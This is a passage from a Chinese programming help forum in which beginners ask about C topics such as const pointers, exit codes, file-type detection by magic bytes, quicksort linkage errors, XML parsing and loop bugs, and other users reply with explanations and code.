*)malloc(sizeof(BiTree)); 	root->Lchild=NULL; 	root->Rchild=NULL; 	return root; }   BiTree *Creat_BiTree() { 	BiTree *root; 	char ch; 	ch=getchar(); 	if(ch==' ') 		root=NULL; 	else 	{ 		root=(BiTree *)malloc(sizeof(BiTree)); 		root->data=ch; 		root->Lchild=Creat_BiTree(); 		root->Rchild=Creat_BiTree(); 	} 	return root; }  void PreOder(BiTree *root) { 	SeqStack *s; 	BiTree *p; 	s=Init_SeqStack(); 	p=root; 	while(p!=NULL||!IsEmpty(s)) 	{ 		while(p!=NULL) 		{ 			printf("%c ",p->data); 			Push_SeqStack(s,p->data); 			p=p->Lchild; 		} 		if(!IsEmpty(s)) 		{ 			Pop_SeqStack(s,p->data); 			p=p->Rchild; 		} 	} }  int main(void) { 	BiTree *root; 	root=Init_BiTree(); 	root=Creat_BiTree(); 	PreOder(root); 	return 0; }

引用 2 楼 user-3 的回复:先学排版， 再学debugger 最后学指针。 我追踪到进入右子树的时候就出错了，但不知道怎么错了？？？

先学排版， 再学debugger 最后学指针。

来个大神啊  ，我都头疼了


Question: 内存管理中局部常量为什么有的改变,有的不改变?

引用 14 楼 zaixiankaifa 的回复:int main() { 	int *pi=(int*)&ci; //	*pi=200;  	const  int ci2=300; 	//ci2=200; 	pi=(int*)&ci2; 	*pi=200; 	printf("ci2=%d\n",ci2); 	printf("*pi=%d\n",*pi);  	printf("&ci2=%x\n",&ci2); 	printf("pi=%x\n",pi);  return 0; }  localhost:linux root# a.out ci2=300 *pi=200 &ci2=50794dec pi=50794dec  我加了两条打印信息,把ci2地址和pi都打印出来,结果发现,ci2地址和pi相同,这就很奇怪了,相同的地址,居然指向不同的变量?   这是为什么  这是你的理解错误；  ci2地址和pi相同这是正确的，因为pi的值就是ci2的地址值。 ----看这条语句 pi = (int*)&ci2; ------ 把ci2的地址值（&ci2） 强制转换成 int*，并赋值给pi  地址只是变量(数据)，或者函数（代码）在内存中的位置。 C,C++ 通常用 某种整型量，表示地址的值。

当然了，你通过指针，然后就要改这个内存，编译器就没有办法了

这个有啥说的，发现变量是const类型的就报编译错误呗

引用 8 楼 ggglivw 的回复:直接赋值改变const，vs2005还是08开始就会报编译错误，你直接编译不过   直接赋值改变const ? 能讲讲机制原理是怎么样的么?

直接赋值改变const，vs2005还是08开始就会报编译错误，你直接编译不过

pi=(int*)&ci2; 这一行在编译的时候是会有一个warning的, 被你忽视掉了. 把一个const int的变量的地址赋给一个没有const修饰的int *变量, 在逻辑上是有错误的. 在正式的软件开发中, 除了error外, 所有编译warning也都要消除掉的.  具体这个问题, const int的变量保存在什么地方是由编译器决定的. 一种情况是保存在普通变量data段, const只是给编译器看的. 你使用类型强制转换绕过编译器的检查, 就可以强制修改了. 另一种情况保存在常量区域如text段, 这个段加载后会把对应的内存页表修改为read only, 所有对它的修改都无效.  也就是说一个逻辑上错误的代码, 编译器可以自主选择处理方式, 从而带来结果的不确定性.

引用 5 楼 ggglivw 的回复:const也只是内存中一个东西而已，这个不改变是编译器在编译阶段的保证，防止你手误，如果你硬要通过指针修改内存的值，他也没用办法  那为什么直接赋值过去改变不可以滴?  既然是在栈里面,使用指针可以改变,赋值改变为什么不可以? 不是很懂,请教一下

引用 14 楼 zaixiankaifa 的回复:int main() { 	int *pi=(int*)&ci; //	*pi=200;  	const  int ci2=300; 	//ci2=200; 	pi=(int*)&ci2; 	*pi=200; 	printf("ci2=%d\n",ci2); 	printf("*pi=%d\n",*pi);  	printf("&ci2=%x\n",&ci2); 	printf("pi=%x\n",pi);  return 0; }  localhost:linux root# a.out ci2=300 *pi=200 &ci2=50794dec pi=50794dec  我加了两条打印信息,把ci2地址和pi都打印出来,结果发现,ci2地址和pi相同,这就很奇怪了,相同的地址,居然指向不同的变量?   这是为什么 看错了，回答唐突了 你代码的问题，要不就是不同编译器的处理不同 仔细检查一下你的代码...

引用 14 楼 zaixiankaifa 的回复:int main() { 	int *pi=(int*)&ci; //	*pi=200;  	const  int ci2=300; 	//ci2=200; 	pi=(int*)&ci2; 	*pi=200; 	printf("ci2=%d\n",ci2); 	printf("*pi=%d\n",*pi);  	printf("&ci2=%x\n",&ci2); 	printf("pi=%x\n",pi);  return 0; }  localhost:linux root# a.out ci2=300 *pi=200 &ci2=50794dec pi=50794dec  我加了两条打印信息,把ci2地址和pi都打印出来,结果发现,ci2地址和pi相同,这就很奇怪了,相同的地址,居然指向不同的变量?   这是为什么 强制类型转换的过程中都对应一个临时变量的问题，所以输出结果不一样

const  int ci2=300; //const承诺不变 //ci2=200; pi=(int*)&ci2; //(int*)这就变了心，哎 *pi=200; printf("ci2=%d\n",ci2);//相信你的承诺，直接读入300

不要纠结各种常量了，这个世界上唯一不变的就是变化。用API WriteProcessMemory还能修改正运行的其它进程的内存里面的所谓常量呢！

常量折叠？ 不同编译器实现不同。 const在我看来只是逻辑上的东西，故意揪编译器的实现没多大意义。

const其实只是编译层面的保证

既然开始声明了一个变量为const，为什么后来又想改变他的值？  如果知道这个值在以后是会被修改的，何必把他声明成const的？  这样做只会使代码前后矛盾，越来越难以理解。  与其把时间花在各种trick上，不如好好想想怎样设计比较合理。

何不问老师！！


Question: if语句中的return 1和return 0有什么区别啊？

引用 27 楼 dic_008 的回复:返回0  或者 1都是在特定环境定义的。  比如在VC中提供的工具Error lookup中 0代表，操作成功完成。  1代表函数不正确。 printf("usage:%s oldpath newpath\n",argv[0]);         return 1; 我开始也是这样理解的，直到看到这段程序我才上来问问，这里return 1;明显是表示成功操作了

学习下。。。。

是函数的错误码而已，

调用这个命令的程序可能需要知道，是否成功与否

引用 25 楼 abc594986308 的回复:[quote=引用 19 楼 u010165006 的回复:] [quote=引用 18 楼 zhao4zhong1 的回复:] [quote=引用 15 楼 u010165006 的回复:] errorlevel，编写批处理程序的时候有用（如果程序正确完成，转到哪里执行；如果出错1，转到哪里；出错2，转到哪里，等等等，从高到低的，DOS时代的东西了，不过Linux系统也一样）。 你在命令行下试一下： dir echo  %errorlevel% dir  z:   （没有Z:盘，肯定出错） echo  %errorlevel% 也可以运行你的程序让它以正常或非正常退出，再echo  %errorlevel% 英雄所见略同。[/quote] 都是DOS过来的[/quote]那return语句可不可以去掉？去掉了报错啊[/quote] int main()，返回值就是int的，如果void main()可以不要return，新的C标准应该都是int main()吧。

引用 19 楼 u010165006 的回复:[quote=引用 18 楼 zhao4zhong1 的回复:] [quote=引用 15 楼 u010165006 的回复:] errorlevel，编写批处理程序的时候有用（如果程序正确完成，转到哪里执行；如果出错1，转到哪里；出错2，转到哪里，等等等，从高到低的，DOS时代的东西了，不过Linux系统也一样）。 你在命令行下试一下： dir echo  %errorlevel% dir  z:   （没有Z:盘，肯定出错） echo  %errorlevel% 也可以运行你的程序让它以正常或非正常退出，再echo  %errorlevel% 英雄所见略同。[/quote] 都是DOS过来的[/quote]那return语句可不可以去掉？去掉了报错啊

引用 22 楼 zhoujielunzhimi 的回复:main函数是被主线程调用的，main的返回值就是线程的返回值。  我们在写多线程程序的时候，vs的调试输出那里会显示线程的返回值。  这个返回值我们一般都不用。那为什么不能去掉呢？既然用不着

引用 1 楼 worldy 的回复:main中的return是返回给调用进程的，一般调用进程不会使用该值，所以，没什么差别 我用dgb跟踪了一下，return 1；对应的汇编是mov $0x1,%eax。return 0;对应的汇编是mov $0x0,%eax。 就这两个地方不同其他一样，我指的是只是把第一个return 1；换成return 0; 所以说return 可要可不要？

就是给调用这个函数的函数看的，你需要什么值可以返回什么

C:\>if /? 执行批处理程序中的条件处理。  IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command    NOT               指定只有条件为 false 的情况下，Windows 才                     应该执行该命令。    ERRORLEVEL number 如果最后运行的程序返回一个等于或大于                     指定数字的退出编码，指定条件为 true。    string1==string2  如果指定的文字字符串匹配，指定条件为 true。    EXIST filename    如果指定的文件名存在，指定条件为 true。    command           如果符合条件，指定要执行的命令。如果指定的                     条件为 FALSE，命令后可跟一个执行 ELSE                     关键字后的命令的 ELSE 命令。  ELSE 子句必须在 IF 之后出现在同一行上。例如:      IF EXIST filename. (         del filename.     ) ELSE (         echo filename. missing.     )  因为 del 命令需要用一个新行终止，以下子句不会有效:  IF EXIST filename. del filename. ELSE echo filename. missing  由于 ELSE 命令必须与 IF 命令的尾端在同一行上，以下子句也 不会有效:      IF EXIST filename. del filename.     ELSE echo filename. missing  如果都放在同一行上，以下子句有效:      IF EXIST filename. (del filename.) ELSE echo filename. missing  如果命令扩展被启用，IF 会如下改变:      IF [/I] string1 compare-op string2 command     IF CMDEXTVERSION number command     IF DEFINED variable command  其中， compare-op 可以是:      EQU - 等于     NEQ - 不等于     LSS - 小于     LEQ - 小于或等于     GTR - 大于     GEQ - 大于或等于  而 /I 开关(如果指定)说明要进行的字符串比较不分大小写。 /I 开关可以用于 IF 的 string1==string2 的形式上。这些 比较都是通用的；原因是，如果 string1 和 string2 都是 由数字组成的，字符串会被转换成数字，进行数字比较。  CMDEXTVERSION 条件的作用跟 ERRORLEVEL 的一样，除了它 是在跟与命令扩展有关联的内部版本号比较。第一个版本 是 1。每次对命令扩展有相当大的增强时，版本号会增加一个。 命令扩展被停用时，CMDEXTVERSION 条件不是真的。  如果已定义环境变量，DEFINED 条件的作用跟 EXISTS 的一样， 除了它取得一个环境变量，返回的结果是 true。  如果没有名为 ERRORLEVEL 的环境变量，%ERRORLEVEL% 会扩充为 ERROLEVEL 当前数值的字符串表达式；否则，您会得到 其数值。运行程序后，以下语句说明 ERRORLEVEL 的用法:      goto answer%ERRORLEVEL%     :answer0     echo Program had return code 0     :answer1     echo Program had return code 1  您也可以使用以上的数字比较:      IF %ERRORLEVEL% LEQ 1 goto okay  如果没有名为 CMDCMDLINE 的环境变量，%CMDCMDLINE% 将在 CMD.EXE 进行任何处理前扩充为传递给 CMD.EXE 的原始 命令行；否则，您会得到其数值。  如果没有名为 CMDEXTVERSION 的环境变量， %CMDEXTVERSION% 会扩充为 CMDEXTVERSION 当前数值的 字串符表达式；否则，您会得到其数值。

引用 18 楼 zhao4zhong1 的回复:[quote=引用 15 楼 u010165006 的回复:] errorlevel，编写批处理程序的时候有用（如果程序正确完成，转到哪里执行；如果出错1，转到哪里；出错2，转到哪里，等等等，从高到低的，DOS时代的东西了，不过Linux系统也一样）。 你在命令行下试一下： dir echo  %errorlevel% dir  z:   （没有Z:盘，肯定出错） echo  %errorlevel% 也可以运行你的程序让它以正常或非正常退出，再echo  %errorlevel% 英雄所见略同。[/quote] 都是DOS过来的

引用 15 楼 u010165006 的回复:errorlevel，编写批处理程序的时候有用（如果程序正确完成，转到哪里执行；如果出错1，转到哪里；出错2，转到哪里，等等等，从高到低的，DOS时代的东西了，不过Linux系统也一样）。 你在命令行下试一下： dir echo  %errorlevel% dir  z:   （没有Z:盘，肯定出错） echo  %errorlevel% 也可以运行你的程序让它以正常或非正常退出，再echo  %errorlevel% 英雄所见略同。

引用 15 楼 u010165006 的回复:errorlevel，编写批处理程序的时候有用（如果程序正确完成，转到哪里执行；如果出错1，转到哪里；出错2，转到哪里，等等等，从高到低的，DOS时代的东西了，不过Linux系统也一样）。 你在命令行下试一下： dir echo  %errorlevel% dir  z:   （没有Z:盘，肯定出错） echo  %errorlevel% 也可以运行你的程序让它以正常或非正常退出，再echo  %errorlevel% DOS下程序是由Command.com调用的，返回值就是给它的，Windows可能是由explorer.exe调用，它就是一个shell，甚至可以用第3方shell代替，谁调用的就返回给谁。

main函数的return是返回给系统的，在系统层面，一般0表示exe执行成功，非0表示exe执行失败。

楼主要这么问永远也有解释不清楚的问题。因为越问有些东西越接近操作系统底层了，三言两语根本说不清楚。。。

C/C++是静态类型的语言，定义变量就会分配内存，但是，不同类型的变量所占内存不同，如果定义一个任意类型的变量，如何为其分配内存呢？所以，C、C++中没有任意类型的变量。但是，所有指针类型的变量，无论是int*、char*、string*、Student*等等，他们的内存空间都是相同的，所以可以定义“任意类型的指针”即void *。

另外再问一个问题，void类型怎么在内存中分配的，和其他类型有区别么？如果没区别，void a;之类的为什么会报错？求解释下，谢谢，！！


Question: 求代码阅读工具

Source Insight我试了，好像只能查找函数，查找不了结构体变量

code navigation source insight lxr

我就用的vs，呜呜

Source Insight吧。 另外lxr项目，可以搜索下，它的原理就是把一套源代码解析后做成html，然后类型／函数什么的都可以点击跳转；可以试试。

推荐source insight或者slickedit 后者看c++好点

source Insight 啊！ 阅读源码必备的。

source Insight / Eclipse +CDT


Question: 写的一个快速排序，但一直提示函数多处定义，请指教

引用 6 楼 max_min_ 的回复:[quote=引用 4 楼 lelieven 的回复:] [quote=引用 3 楼 max_min_ 的回复:] 加个 头文件  //qsort.h #ifndef __QSORT_H__ #define __QSORT_H__ #define  MAXSIZE  10   typedef  struct {     int  r[MAXSIZE];     int  length; }Sqlist;  void  Swap(Sqlist  *L,int  i,int  j); int  Part(Sqlist *L,int low,int high); void  Qsort(Sqlist  *L,int low,int  high); void QuickSort(Sqlist *L);  #endif // qsort.h    //然后 qsort.c里面的结构体定义不要， #include "qsort.h";  //main函数文件 #include "qsort.h"     修改以后提示：D:\CODE\codeblock\qsort\qsort.c|51|undefined reference to `QSort'|[/quote] 5那一行的是Qsort,  而不是QSort 注意大小写！[/quote]  引用 6 楼 max_min_ 的回复:[quote=引用 4 楼 lelieven 的回复:] [quote=引用 3 楼 max_min_ 的回复:] 加个 头文件  //qsort.h #ifndef __QSORT_H__ #define __QSORT_H__ #define  MAXSIZE  10   typedef  struct {     int  r[MAXSIZE];     int  length; }Sqlist;  void  Swap(Sqlist  *L,int  i,int  j); int  Part(Sqlist *L,int low,int high); void  Qsort(Sqlist  *L,int low,int  high); void QuickSort(Sqlist *L);  #endif // qsort.h    //然后 qsort.c里面的结构体定义不要， #include "qsort.h";  //main函数文件 #include "qsort.h"     修改以后提示：D:\CODE\codeblock\qsort\qsort.c|51|undefined reference to `QSort'|[/quote] 5那一行的是Qsort,  而不是QSort 注意大小写！[/quote]  惭愧，改好了，谢谢版主！

引用 4 楼 lelieven 的回复:[quote=引用 3 楼 max_min_ 的回复:] 加个 头文件  //qsort.h #ifndef __QSORT_H__ #define __QSORT_H__ #define  MAXSIZE  10   typedef  struct {     int  r[MAXSIZE];     int  length; }Sqlist;  void  Swap(Sqlist  *L,int  i,int  j); int  Part(Sqlist *L,int low,int high); void  Qsort(Sqlist  *L,int low,int  high); void QuickSort(Sqlist *L);  #endif // qsort.h    //然后 qsort.c里面的结构体定义不要， #include "qsort.h";  //main函数文件 #include "qsort.h"     修改以后提示：D:\CODE\codeblock\qsort\qsort.c|51|undefined reference to `QSort'|[/quote] 5那一行的是Qsort,  而不是QSort 注意大小写！

引用 3 楼 max_min_ 的回复:加个 头文件  //qsort.h #ifndef __QSORT_H__ #define __QSORT_H__ #define  MAXSIZE  10   typedef  struct {     int  r[MAXSIZE];     int  length; }Sqlist;  void  Swap(Sqlist  *L,int  i,int  j); int  Part(Sqlist *L,int low,int high); void  Qsort(Sqlist  *L,int low,int  high); void QuickSort(Sqlist *L);  #endif // qsort.h    //然后 qsort.c里面的结构体定义不要， #include "qsort.h";  //main函数文件 #include "qsort.h"     提示Qsort参数未定义！

引用 3 楼 max_min_ 的回复:加个 头文件  //qsort.h #ifndef __QSORT_H__ #define __QSORT_H__ #define  MAXSIZE  10   typedef  struct {     int  r[MAXSIZE];     int  length; }Sqlist;  void  Swap(Sqlist  *L,int  i,int  j); int  Part(Sqlist *L,int low,int high); void  Qsort(Sqlist  *L,int low,int  high); void QuickSort(Sqlist *L);  #endif // qsort.h    //然后 qsort.c里面的结构体定义不要， #include "qsort.h";  //main函数文件 #include "qsort.h"     修改以后提示：D:\CODE\codeblock\qsort\qsort.c|51|undefined reference to `QSort'|

引用 1 楼 user-2 的回复:换个名字试试，可能<stdio.h><stdlib.h>里面已经定义了swap 改了名字，还是不行。不清楚什么问题！

换个名字试试，可能<stdio.h><stdlib.h>里面已经定义了swap


Question: *急*判断文件是不是音乐文件

引用 20 楼 zhao4zhong1 的回复:判断文件前几个字节值的办法对mp3文件似乎不灵。 我刚才用WinHex软件打开几个mp3文件看了看，前几个字节值好象没什么规律。 文件内容中有"LAME3."多半是mp3文件。

引用 10 楼 u012464303 的回复:[quote=引用 4 楼 user-7 的回复:] 如果只是文件名，就看它是不是.mp3结尾； 否则就得看文件头的一些字节信息了。哪段字节呀[/quote] 这个要看音频文件了。

引用 11 楼 zhao4zhong1 的回复:以下内容来自Audition软件打开声音文件对话框： 64-bit doubles (RAW) (*.dbl) 8-bit signed (*.sam) A/mu-Law Wave (*.wav) ACM Waveform (*.wav) Amiga IFF-8SVX (*.iff;*.svx) Apple AIFF (*.aif;*.snd) ASCII Text Data (*.txt) CD Digital Audio (*.cda) Cool Edit Loop (*.cel) Creative Sound Blaster (*.voc) Dialogic ADPCM (*.vox) DiamondWare Digitized (*.dwd) DVI/IMA ADPCM (*.wav) Microsoft ADPCM (*.wav) mp3PRO?(FhG) (*.mp3) Next/Sun (*.au;*.snd) SampleVision (*.smp) Windows Media Audio 8 (*.wma;*.asf;*.asx) Windows PCM (*.wav) PCM Raw Data (*.pcm;*.raw).mp3就判断是不是mp3PRO?(FhG) (*.mp3) 么

引用 4 楼 user-7 的回复:如果只是文件名，就看它是不是.mp3结尾； 否则就得看文件头的一些字节信息了。哪段字节呀

引用 2 楼 cfjtaishan 的回复:根据后缀名来判断吧~~~其他需要音频解码了吧 C程序如何判断

引用 1 楼 N_sev7 的回复:[quote=引用 楼主 u012464303 的回复:] 如何判断文件是不是音乐文件  如：.mp3格式的 1.取得文件名，判断后缀是否以.mp3结束 2.解析源文件...[/quote] 解析文件信息，如何判断

get the extension name and judge if it's 'mp3'

查看文件属性吧，file

引用 12 楼 u012464303 的回复:引用 5 楼 allenltiverson 的回复:如果你已知所有音乐文件的格式，那么通过后缀是最好的方法。但是有一个问题，后缀是音乐格式并不代码文件就是音乐文件，并不排除人为修改的可能。所有最好的办法还是判断文件内容，一般文件头都会包含一些信息对 主要就是这个问题，自己改的后缀如何判断http://blog.csdn.net/sunshine1314/article/details/2514322

引用 18 楼 zhao4zhong1 的回复:仅供参考#include <stdio.h> struct EH {     char e[32];     char h[32]; } eh[29]={     {"Windows Bitmap (bmp)"       ,                         "424D"},     {"JPEG (jpg)"                 ,                       "FFD8FF"},     {"MPEG (mpg)"                 ,                     "000001B3"},     {"MPEG (mpg)"                 ,                     "000001BA"},     {"Outlook (pst)"              ,                     "2142444E"},     {"Real Media (rm)"            ,                     "2E524D46"},     {"Real Audio (ram)"           ,                     "2E7261FD"},     {"Adobe Photoshop (psd)"      ,                     "38425053"},     {"CAD (dwg)"                  ,                     "41433130"},     {"AVI (avi)"                  ,                     "41564920"},     {"GIF (gif)"                  ,                     "47494638"},     {"TIFF (tif)"                 ,                     "49492A00"},     {"MIDI (mid)"                 ,                     "4D546864"},     {"ZIP Archive (zip)"          ,                     "504B0304"},     {"RAR Archive (rar)"          ,                     "52617221"},     {"Wave (wav)"                 ,                     "57415645"},     {"Quicktime (mov)"            ,                     "6D6F6F76"},     {"PNG (png)"                  ,                     "89504E47"},     {"Quicken (qdf)"              ,                     "AC9EBD8F"},     {"MS Word/Excel (xls.or.doc)" ,                     "D0CF11E0"},     {"Windows Password (pwl)"     ,                     "E3828596"},     {"WordPerfect (wpd)"          ,                     "FF575043"},     {"XML (xml)"                  ,                   "3C3F786D6C"},     {"HTML (html)"                ,                   "68746D6C3E"},     {"Rich Text Format (rtf)"     ,                   "7B5C727466"},     {"Adobe Acrobat (pdf)"        ,               "255044462D312E"},     {"Windows Media (asf)"        ,             "3026B2758E66CF11"},     {"Outlook Express (dbx)"      ,             "CFAD12FEC5FD746F"},     {"MS Access (mdb)"            ,         "5374616E64617264204A"}, }; FILE *f; static char s[32]; int i,j,c; int main(int argc,char **argv) {     if (argc<2 || argc>2) {         fprintf(stderr,"GuessFileExt according to head bytes.\nUsage: %s filename\n",argv[0]);         return 1;     }     f=fopen(argv[1],"rb");     if (NULL==f) {         fprintf(stderr,"Can not open file %s\n",argv[1]);         return 2;     }     for (i=0;i<14;i++) {         c=fgetc(f);         if (c==EOF) break;//         sprintf(s+i*2,"%2X",(unsigned char)c);         for (j=0;j<29;j++) {             if (0==strcmp(s,eh[j].h)) {                 printf("%s\n",eh[j].e);                 fclose(f);                 return 0;             }         }     }     printf("Unknown\n");     fclose(f);     return 3; } 非常感谢！

引用 14 楼 mayadong7349 的回复:根据文件头特征码判断是比较简单实际的做法。 可以参考一下python中的imghdr或sndhdr的做法。 也可以借助第三方库，megui还是那个软件（我记不清了）里边就有一个dll是用于判断多媒体文件类型的。能能在具体点么

引用 15 楼 zhao4zhong1 的回复:[quote=引用 13 楼 u012464303 的回复:] [quote=引用 11 楼 zhao4zhong1 的回复:] 以下内容来自Audition软件打开声音文件对话框： 64-bit doubles (RAW) (*.dbl) 8-bit signed (*.sam) A/mu-Law Wave (*.wav) ACM Waveform (*.wav) Amiga IFF-8SVX (*.iff;*.svx) Apple AIFF (*.aif;*.snd) ASCII Text Data (*.txt) CD Digital Audio (*.cda) Cool Edit Loop (*.cel) Creative Sound Blaster (*.voc) Dialogic ADPCM (*.vox) DiamondWare Digitized (*.dwd) DVI/IMA ADPCM (*.wav) Microsoft ADPCM (*.wav) mp3PRO?(FhG) (*.mp3) Next/Sun (*.au;*.snd) SampleVision (*.smp) Windows Media Audio 8 (*.wma;*.asf;*.asx) Windows PCM (*.wav) PCM Raw Data (*.pcm;*.raw).mp3就判断是不是mp3PRO?(FhG) (*.mp3) 么[/quote] 音乐文件后缀参考后面括号里面列出的*.ext，当然，实际比这还要多。不过我想这些已经够用了。[/quote]我主要就是想判断那种自己创建的文件把后缀名改成.mp3如何判断不是音乐文件

引用 13 楼 u012464303 的回复:[quote=引用 11 楼 zhao4zhong1 的回复:] 以下内容来自Audition软件打开声音文件对话框： 64-bit doubles (RAW) (*.dbl) 8-bit signed (*.sam) A/mu-Law Wave (*.wav) ACM Waveform (*.wav) Amiga IFF-8SVX (*.iff;*.svx) Apple AIFF (*.aif;*.snd) ASCII Text Data (*.txt) CD Digital Audio (*.cda) Cool Edit Loop (*.cel) Creative Sound Blaster (*.voc) Dialogic ADPCM (*.vox) DiamondWare Digitized (*.dwd) DVI/IMA ADPCM (*.wav) Microsoft ADPCM (*.wav) mp3PRO?(FhG) (*.mp3) Next/Sun (*.au;*.snd) SampleVision (*.smp) Windows Media Audio 8 (*.wma;*.asf;*.asx) Windows PCM (*.wav) PCM Raw Data (*.pcm;*.raw).mp3就判断是不是mp3PRO?(FhG) (*.mp3) 么[/quote] 音乐文件后缀参考后面括号里面列出的*.ext，当然，实际比这还要多。不过我想这些已经够用了。

如果只是文件名，就看它是不是.mp3结尾； 否则就得看文件头的一些字节信息了。


Question: 如何用定义好的数据结构来保存xml文档中的数据

我感觉也是这样的，但我一进公司就让我自己写，其实tinyxml也给我参考了，但我都不知道怎么使用 我感觉这是一个很矛盾的逻辑，是吧！ 我连轮子怎么用都没搞清楚，让我造轮子，有点残忍啊 小公司就是这样，什么都得自己来，还得自己设计，痛苦啊。 如果真能学到东西，其实也是一件很愉快的事情，这也是一个漫长的过程。 我还是得私下自己先学会怎么用tinyxml，有没有推荐的相关教程啊。。。 万分感谢！！！

先学会用轮子  然后去看轮子的代码，学习之  即  先学会去调用tinyxml的API函数  然后去学习tinyxml的代码，看它是如何实现的

#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> int fd; void OpenFile(const char* filename){ 	fd=open(filename,O_RDONLY); 	if(fd==-1){ 		printf("open file fail!\n"); 		exit(-1); 	} } void ReadAndSave(const char* filename){ 	OpenFile(filename); 	char buf[5120]={0}; 	while(read(fd,buf,sizeof(buf))){ 		//printf("%s\n",buf); 	} 	buf[strlen(buf)+1]='<';// 	char* str=buf; 	int fd2=open("xml.txt",O_CREAT|O_RDWR|O_TRUNC,0666); 	if(fd2==-1){ 		printf("open file2 fail\n"); 		exit(-1); 	} 	while(*str){// 		if(*str=='>'){ 			str++; 			while(*str!='<'){ 				printf("%c",*str); 				write(fd2,&(*str),1);//save the char 				//lseek(fd,0,SEEK_END); 				str++; 			} 		} 		if(*str=='<'){// 			//printf("\n"); 			str++; 		} 		str++;// 	} 	return ; } void FindElements(const char* filename,const char* value,int size){ //return the number of all elements 	OpenFile(filename); 	char buf[5120]={0}; 	while(read(fd,buf,sizeof(buf))); 	buf[strlen(buf)+1]='<'; 	char* str=buf; 	while(*str){ 		if(strncmp(str,value,size)==0){ 			str+=size; 			while((*str)!='<'){ 				printf("%c",*str); 				str++; 			} 		printf("\n"); 		} 		str++; 	} 	return; }  这是我最近写的一个解析xml文档中的内容，并将其保存在一个文件中，没有考虑<?xml..>还有注释部分，只是简单的将标签中的内容读取出来，这样做的话，如果有这样一个文本，我就无法将其变成xml文档

引用 11 楼 u012963125 的回复:就是这个，我去百度下，状态机又是啥东西，其实我今天刚刚写出来，就是讲A 和something存入一个结构体中，然后构成一个结构体的链表。这中方法做的话就不能很好的区分节点之间的关系了，还有如果别人扔给你一个buf，里面存储了很多的数据，如何返回给别人一个xml文档。。。 难度又进一步加深。 所以说先要把数据结构容器做好嘛，开始时初始化好容器里所有的key，但value置空。在扫描时将value往里面填。最后就仅仅把非空的部分输出到文件。 解析器不光是要提取数据，还要有报错功能，哪一行出错，哪种错，用状态机就有这样的好处。

tinyxml

节点用树，属性用链表 话说xml是这样写的么<sw_version string>ws_1.0</sw_version> 应该类似这样吧<sw_version type="string">ws_1.0</sw_version>

你要调用库的话我原来用过   mxml.h 具体函数看http://blog.csdn.net/bluesonic/article/details/3887143

就是处理字符串。有几个转义符的注意 看你上面的就是处理 <> 和<\>就行了  去看tinyxml吧 看别人怎么写的 自己锻炼，我觉得应该先学习人家怎么弄的，提取人家的精华，然后自己造车，并且造出比人家更好的车

关键是要自己写一个解析器，而不是用别人已经写好的，这主要是为了锻炼自己，当然只是很简单的实现

用那些解析库 如tinyxml...直接拿来用

引用 9 楼 u012963125 的回复:3楼对的，其实只是想简单的写一个类似xml解析器，能够简单的解析一些xml文档。 状态机啊，就是如下格式 something 提取出 A 和 something 后再放入相应的数据结构中

就是不知道怎么造那个轮子。。，你懂我的意思

解析xml有轮子了 还是说想造个轮子，不知道怎么造？

google DOM(文档对象模型)

引用 2 楼 u012963125 的回复:说的太深奥了，小弟不懂，刚接触xml，任务是要自己写一个很简单的库，来解析上面固定xml文档，主要是如何将里面的内容存放到结构中，是怎么一个实现过程。而不是调用比人已经写好的库。给个思路也可以啊。万分感谢！ 那就通过你们通信的xml协议解析吧，解析字符串buf了！没别的


Question: 新人求教：5行4列的数组 使用while和for的时候  ，for正确而while不对

谢谢楼上的几位  我又学到了点方法

引用 5 楼 zhao4zhong1 的回复: #include <stdio.h> #include <stdlib.h>  int main (void) {  int a=0,arr[10];   while (1)  { /*        if (a<10)        {           arr[a]=a;           a++;             } else {          break  ;             } */ /*这样写代码简洁不少，嘻嘻*/        arr[a]=a++;        if (a>9) break;  }    for (a=0;a<10;a++)  {                   printf("%d,%d\n",arr[a],a);   }   //printf("%d",rand());  system("pause");     return 0;    }

引用 5 楼 zhao4zhong1 的回复:不要使用 while (条件) 更不要使用 while (组合条件) 要使用 while (1) {  if (条件1) break;  //...  if (条件2) continue;  //...  if (条件3) return;  //... } 因为前两种写法在语言表达意思的层面上有二义性，只有第三种才忠实反映了程序流的实际情况。 典型如： 下面两段的语义都是当文件未结束时读字符 whlie (!feof(f)) {  a=fgetc(f);  //...  b=fgetc(f);//可能此时已经feof了！  //... } 而这样写就没有问题： whlie (1) {  a=fgetc(f);  if (feof(f)) break;  //...  b=fgetc(f);  if (feof(f)) break;  //... } 类似的例子还可以举很多。   谢谢你，你的回复很仔细，while(1) { }

for (b=0;b<5;b++) 记得给a、b清零。

while (a<5)  {      // add code      b = 0;      while (b<4)      {            arr[a][b]=rand();            printf("\n%d\t%d\n",a,b);           b++;      }      a++;    }

应该都不正确  while ,在while（b。。）之前要加b=0; for b的值超出范围，b最大是3不是4

引用 1 楼 redmangame 的回复:while (a<5)  {      while (b<4)      {            arr[a][b]=rand();            printf("\n%d\t%d\n",a,b);           b++;      }      a++;       b=0;  }  循环体内b=4了 在a循环内设置a=0初始值就可以了 楼上正解。


Question: 简单问题

推荐使用WinHex软件查看硬盘或文件或内存中的原始字节内容。  为什么要有数据结构这个东东？ 因为要将现实世界或者抽象理论中的各种数据保存在计算机外存（光盘、硬盘、U盘……）或内存（ROM、RAM、SRAM……）里面的二进制字节数组中。 然后让CPU这个只会执行预先保存好的加减乘除移位条件转移……等机器指令的家伙按照人的意志去处理这些数据。至于具体如何处理就是所谓算法。  电脑内存或文件内容只是一个一维二进制字节数组及其对应的二进制地址； 人脑才将电脑内存或文件内容中的这个一维二进制字节数组及其对应的二进制地址的某些部分看成是整数、有符号数/无符号数、浮点数、复数、英文字母、阿拉伯数字、中文/韩文/法文……字符/字符串、汇编指令、函数、函数参数、堆、栈、数组、指针、数组指针、指针数组、数组的数组、指针的指针、二维数组、字符点阵、字符笔画的坐标、黑白二值图片、灰度图片、彩色图片、录音、视频、指纹信息、身份证信息……

0跟1表示一切,包括數據,控制的指令,地扯 通過數據總線傳送的0,1都是數據,實際上我都不懂,也不想懂,太恐怖了,知道概念就算了

看一下《计算机组成原理》这本书吧，基础的东西了解以后学习计算机方面都有好处。

int，二进制补码 float/double，IEEE 754编码 char，常见的有ascii，utf⋯⋯

引用 3 楼 u010952247 的回复:关键是理解计算机系统的电路结构去表征代数结构，程序员修炼的深层功夫。  那是硬件

很多个0,1

